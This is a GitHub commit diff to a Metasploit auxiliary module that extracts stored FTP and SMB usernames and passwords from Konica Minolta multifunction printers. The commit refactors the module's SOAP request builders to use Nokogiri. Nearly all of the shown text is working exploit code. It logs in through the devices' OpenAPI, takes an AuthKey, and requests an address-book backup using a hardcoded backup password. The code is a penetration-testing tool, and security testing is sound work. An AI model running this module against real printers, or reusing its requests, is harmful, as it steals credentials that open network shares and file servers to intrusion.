Skip to content

Commit 0887127

Browse files
committed
Fixed several recommended changes by jvazquez-r7 and jlee-r7
1 parent 5bf8901 commit 0887127

File tree

1 file changed

+79
-69
lines changed

1 file changed

+79
-69
lines changed

modules/auxiliary/gather/konica_minolta_pwd_extract.rb

Lines changed: 79 additions & 69 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
1-
##
2-
# This module requires Metasploit: http//metasploit.com/download
1+
#
2+
# This module requires Metasploit: http://metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

@@ -17,7 +17,7 @@ def initialize(info = {})
1717
'Description' => %q(
1818
This module will extract FTP and SMB account usernames and passwords
1919
from Konica Minolta mfp devices. Tested models include: C224, C280,
20-
283, C353, C360, 363, 420, C452,C452, C452, C454e ),
20+
283, C353, C360, 363, 420, C452,C452, C452, C454e, C554 ),
2121
'Author' =>
2222
[
2323
'Deral "Percentx" Heiland',
@@ -40,67 +40,79 @@ def initialize(info = {})
4040
def generate_authkey_request_xlm(major, minor)
4141
user = datastore['USER']
4242
passwd = datastore['PASSWD']
43-
xmlauthreq = '<SOAP-ENV:Envelope'
44-
xmlauthreq << "\nxmlns:SOAP-ENV='http://schemas.xmlsoap.org/soap/envelope/'"
45-
xmlauthreq << "\nxmlns:SOAP-ENC='http://schemas.xmlsoap.org/soap/encoding/'"
46-
xmlauthreq << "\nxmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'"
47-
xmlauthreq << "\nxmlns:xsd='http://www.w3.org/2001/XMLSchema'>"
48-
xmlauthreq << '<SOAP-ENV:Header>'
49-
xmlauthreq << '<me:AppReqHeader'
50-
xmlauthreq << "\nxmlns:me='http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}'>"
51-
xmlauthreq << "<ApplicationID xmlns=''>0</ApplicationID>"
52-
xmlauthreq << "<UserName xmlns=''></UserName>"
53-
xmlauthreq << "<Password xmlns=''></Password>"
54-
xmlauthreq << "<Version xmlns=''>"
55-
xmlauthreq << "<Major>#{major}</Major>"
56-
xmlauthreq << "<Minor>#{minor}</Minor>"
57-
xmlauthreq << '</Version>'
58-
xmlauthreq << "<AppManagementID xmlns=''>0</AppManagementID>"
59-
xmlauthreq << '</me:AppReqHeader>'
60-
xmlauthreq << '</SOAP-ENV:Header>'
61-
xmlauthreq << '<SOAP-ENV:Body>'
62-
xmlauthreq << "<AppReqLogin xmlns='http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}'>"
63-
xmlauthreq << '<OperatorInfo>'
64-
xmlauthreq << "<UserType>#{user}</UserType>"
65-
xmlauthreq << "<Password>#{passwd}</Password>"
66-
xmlauthreq << '</OperatorInfo>'
67-
xmlauthreq << '<TimeOut>60</TimeOut>'
68-
xmlauthreq << '</AppReqLogin>'
69-
xmlauthreq << '</SOAP-ENV:Body>'
70-
xmlauthreq << '</SOAP-ENV:Envelope>'
43+
Nokogiri::XML::Builder.new do |xml|
44+
xml.send('SOAP-ENV:Envelope',
45+
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
46+
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
47+
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
48+
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
49+
xml.send('SOAP-ENV:Header'){
50+
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
51+
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
52+
xml.send('UserName', 'xmlns' => '') { xml.text '' }
53+
xml.send('Password', 'xmlns' => '') { xml.text '' }
54+
xml.send('Version', 'xmlns' => ''){
55+
xml.send('Major') { xml.text "#{major}" }
56+
xml.send('Minor') { xml.text "#{minor}" }
57+
}
58+
xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' }
59+
}
60+
}
61+
xml.send('SOAP-ENV:Body') {
62+
xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
63+
xml.send('OperatorInfo'){
64+
xml.send('UserType') { xml.text "#{user}" }
65+
xml.send('Password') { xml.text "#{passwd}" }
66+
}
67+
xml.send('TimeOut') { xml.text '60' }
68+
}
69+
}
70+
}
71+
end
7172
end
7273

73-
# Create XML data that will be sent to extract SMB passwords for devices
74-
def generate_smbpwd_request_xlm(major, minor, authkey)
75-
xmlsmbreq = '<SOAP-ENV:Envelope'
76-
xmlsmbreq << "\nxmlns:SOAP-ENV='http://schemas.xmlsoap.org/soap/envelope/'"
77-
xmlsmbreq << "\nxmlns:SOAP-ENC='http://schemas.xmlsoap.org/soap/encoding/'"
78-
xmlsmbreq << "\nxmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'"
79-
xmlsmbreq << "\nxmlns:xsd='http://www.w3.org/2001/XMLSchema'>"
80-
xmlsmbreq << '<SOAP-ENV:Header><me:AppReqHeader'
81-
xmlsmbreq << "\nxmlns:me='http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}'>"
82-
xmlsmbreq << "<ApplicationID xmlns=''>0</ApplicationID>"
83-
xmlsmbreq << "<UserName xmlns=''></UserName>"
84-
xmlsmbreq << "<Password xmlns=''></Password>"
85-
xmlsmbreq << "<Version xmlns=''><Major>#{major}</Major>"
86-
xmlsmbreq << "<Minor>#{minor}</Minor></Version>"
87-
xmlsmbreq << "<AppManagementID xmlns=''>1000</AppManagementID>"
88-
xmlsmbreq << '</me:AppReqHeader></SOAP-ENV:Header>'
89-
xmlsmbreq << "<SOAP-ENV:Body><AppReqGetAbbr xmlns='http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}'>"
90-
xmlsmbreq << '<OperatorInfo>'
91-
xmlsmbreq << "<AuthKey>#{authkey}</AuthKey>"
92-
xmlsmbreq << '</OperatorInfo><AbbrListCondition>'
93-
xmlsmbreq << '<SearchKey>None</SearchKey>'
94-
xmlsmbreq << '<WellUse>false</WellUse>'
95-
xmlsmbreq << '<ObtainCondition>'
96-
xmlsmbreq << '<Type>OffsetList</Type>'
97-
xmlsmbreq << '<OffsetRange><Start>1</Start><Length>100</Length></OffsetRange>'
98-
xmlsmbreq << '</ObtainCondition>'
99-
xmlsmbreq << '<BackUp>true</BackUp>'
100-
xmlsmbreq << '<BackUpPassword>MYSKIMGS</BackUpPassword>'
101-
xmlsmbreq << '</AbbrListCondition></AppReqGetAbbr>'
102-
xmlsmbreq << '</SOAP-ENV:Body>'
103-
xmlsmbreq << '</SOAP-ENV:Envelope>'
74+
# Create XML data that will be sent to extract SMB and FTP passwords from device
75+
def generate_pwd_request_xlm(major, minor, authkey)
76+
Nokogiri::XML::Builder.new do |xml|
77+
xml.send('SOAP-ENV:Envelope',
78+
'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
79+
'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/',
80+
'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
81+
'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){
82+
xml.send('SOAP-ENV:Header'){
83+
xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){
84+
xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' }
85+
xml.send('UserName', 'xmlns' => '') { xml.text '' }
86+
xml.send('Password', 'xmlns' => '') { xml.text '' }
87+
xml.send('Version', 'xmlns' => ''){
88+
xml.send('Major') { xml.text "#{major}" }
89+
xml.send('Minor') { xml.text "#{minor}" }
90+
}
91+
xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' }
92+
}
93+
}
94+
xml.send('SOAP-ENV:Body'){
95+
xml.send('AppReqGetAbbr', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){
96+
xml.send('OperatorInfo'){
97+
xml.send('AuthKey') { xml.text "#{authkey}" }
98+
}
99+
xml.send('AbbrListCondition'){
100+
xml.send('SearchKey') { xml.text 'None' }
101+
xml.send('WellUse') { xml.text 'false' }
102+
xml.send('ObtainCondition'){
103+
xml.send('Type') { xml.text 'OffsetList' }
104+
xml.send('OffsetRange'){
105+
xml.send('Start') { xml.text '1' }
106+
xml.send('Length') { xml.text '100' }
107+
}
108+
}
109+
xml.send('BackUp') { xml.text 'true' }
110+
xml.send('BackUpPassword') { xml.text 'MYSKIMGS' }
111+
}
112+
}
113+
}
114+
}
115+
end
104116
end
105117

106118
# This next section will post the XML soap messages for information gathering.
@@ -129,21 +141,20 @@ def version
129141
login(major, minor)
130142
end
131143

132-
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
144+
rescue ::Rex::ConnectionError
133145
print_error("#{peer} - Version check Connection failed.")
134146
end
135147

136148
# This section logs on and retrieves AuthKey token
137149
def login(major, minor)
138150
authreq_xml = generate_authkey_request_xlm(major, minor)
139-
140151
# Send post request with crafted XML to login and retreive AuthKey
141152
begin
142153
response = send_request_cgi(
143154
{
144155
'uri' => '/',
145156
'method' => 'POST',
146-
'data' => "#{authreq_xml}"
157+
'data' => authreq_xml.to_xml
147158
}, datastore['TIMEOUT'].to_i)
148159
if response.nil?
149160
print_error("#{peer} - No reponse from device")
@@ -154,7 +165,7 @@ def login(major, minor)
154165
authkey = ("#{authkey_parse}")
155166
extract(major, minor, authkey)
156167
end
157-
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
168+
rescue ::Rex::ConnectionError
158169
print_error("#{peer} - Login Connection failed.")
159170
end
160171
end
@@ -163,15 +174,14 @@ def login(major, minor)
163174
def extract(major, minor, authkey)
164175
if (authkey != '')
165176
# create xml request to extract user credintial settings
166-
smbreq_xml = generate_smbpwd_request_xlm(major, minor, authkey)
167-
177+
smbreq_xml = generate_pwd_request_xlm(major, minor, authkey)
168178
# Send post request with crafted XML as data
169179
begin
170180
response = send_request_cgi(
171181
{
172182
'uri' => '/',
173183
'method' => 'POST',
174-
'data' => "#{smbreq_xml}"
184+
'data' => smbreq_xml.to_xml
175185
}, datastore['TIMEOUT'].to_i)
176186
if response.nil?
177187
print_error("#{peer} - No reponse from device")

0 commit comments

Comments
 (0)